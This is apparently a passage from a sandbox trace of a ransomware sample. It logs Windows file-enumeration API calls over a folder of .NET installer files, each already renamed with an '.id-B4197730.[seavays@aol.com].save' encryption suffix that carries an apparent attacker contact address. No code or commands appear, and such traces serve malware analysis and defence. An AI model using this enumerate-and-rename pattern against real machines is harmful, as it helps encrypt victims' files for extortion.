hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x912574a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x912574a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x914bbf2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Parameterinfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0159.204] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x914bbf2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x914bbf2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9171b9f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0159.204] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x914bbf2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x914bbf2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9171b9f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 0 [0159.205] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0159.213] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.213] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Graphics", cAlternateFileName="")) returned 1 [0159.213] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.213] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x45317c0 [0159.216] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.218] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e850f9, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e850f9, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e850f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Print.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PRINTI~1.SAV")) returned 1 [0159.219] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7eab335, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7eab335, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Rotate1.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~1.SAV")) returned 1 [0159.219] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f4403b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f4403b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f69e9c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Rotate2.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~2.SAV")) returned 1 [0159.219] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f69e9c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f69e9c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f69e9c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Rotate3.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~3.SAV")) returned 1 [0159.219] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f90157, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f90157, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Rotate4.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~4.SAV")) returned 1 [0159.219] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f90157, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f90157, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8454d86, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Rotate5.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO6564~1.SAV")) returned 1 [0159.219] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fb63cc, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fb63cc, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fb63cc, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Rotate6.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO9CC7~1.SAV")) returned 1 [0159.219] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fb63cc, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fb63cc, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fb63cc, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Rotate7.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO116F~1.SAV")) returned 1 [0159.219] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fdc649, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fdc649, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fdc649, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Rotate8.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO9FCF~1.SAV")) returned 1 [0159.219] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fdc649, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fdc649, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fdc649, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Save.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SAVEIC~1.SAV")) returned 1 [0159.220] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82d762f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="Setup.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPI~1.SAV")) returned 1 [0159.220] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82d762f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82d762f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82fd6f7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="stop.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="STOPIC~1.SAV")) returned 1 [0159.220] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82fd6f7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82fd6f7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82fd6f7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SysReqMet.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SYSREQ~1.SAV")) returned 1 [0159.220] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x880e8ea, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SysReqNotMet.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SYSREQ~2.SAV")) returned 1 [0159.220] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="warn.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WARNIC~1.SAV")) returned 1 [0159.220] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="warn.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WARNIC~1.SAV")) returned 0 [0159.220] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0159.222] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.223] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x92c91b3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x92c91b3, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92c91b3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="header.bmp.id-B4197730.[seavays@aol.com].save", cAlternateFileName="HEADER~1.SAV")) returned 1 [0159.223] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xb6d9e4d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="netfx_Core.mzz.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~1.SAV")) returned 1 [0159.223] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x97db9cb, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="netfx_Core_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~2.SAV")) returned 1 [0159.223] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x84c7664, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x84c7664, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x89fe5d9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="netfx_Core_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~3.SAV")) returned 1 [0159.227] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xbb97cbd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="netfx_Extended.mzz.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~4.SAV")) returned 1 [0159.227] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8abdf43, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8abdf43, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b0990b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="netfx_Extended_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NE6FA1~1.SAV")) returned 1 [0159.227] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9361c02, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9361c02, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x99685ec, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="netfx_Extended_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NE2CD2~1.SAV")) returned 1 [0159.227] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x927cc87, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x927cc87, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92a2ea5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="ParameterInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0159.227] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x97db9cb, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x97db9cb, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x98004f5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="RGB9RAST_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RGB9RA~1.SAV")) returned 1 [0159.227] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98004f5, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x98004f5, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9826619, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="RGB9Rast_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RGB9RA~2.SAV")) returned 1 [0159.228] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9826619, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9826619, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9cc4f61, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Setup.exe.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPE~1.SAV")) returned 1 [0159.228] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x997dba9, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x997dba9, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9f4d74a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="SetupEngine.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPE~2.SAV")) returned 1 [0159.228] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9cc4f61, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9cc4f61, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9ceb1cf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="SetupUi.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPU~2.SAV")) returned 1 [0159.228] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x92c91b3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x92c91b3, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x990b473, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="SetupUi.xsd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPU~1.SAV")) returned 1 [0159.228] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9d11821, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9d11821, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xa13d583, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="SetupUtility.exe.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPU~3.SAV")) returned 1 [0159.228] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x92ef37d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x92ef37d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92ef37d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="SplashScreen.bmp.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SPLASH~1.SAV")) returned 1 [0159.228] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa13d583, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0xa13d583, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xa1637ef, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="sqmapi.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SQMAPI~1.SAV")) returned 1 [0159.228] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9315590, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9315590, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9933627, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Strings.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="STRING~1.SAV")) returned 1 [0159.228] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9387cb5, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9387cb5, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9387cb5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0159.229] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x93adedf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x93adedf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x93adedf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="watermark.bmp.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WATERM~1.SAV")) returned 1 [0159.229] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: 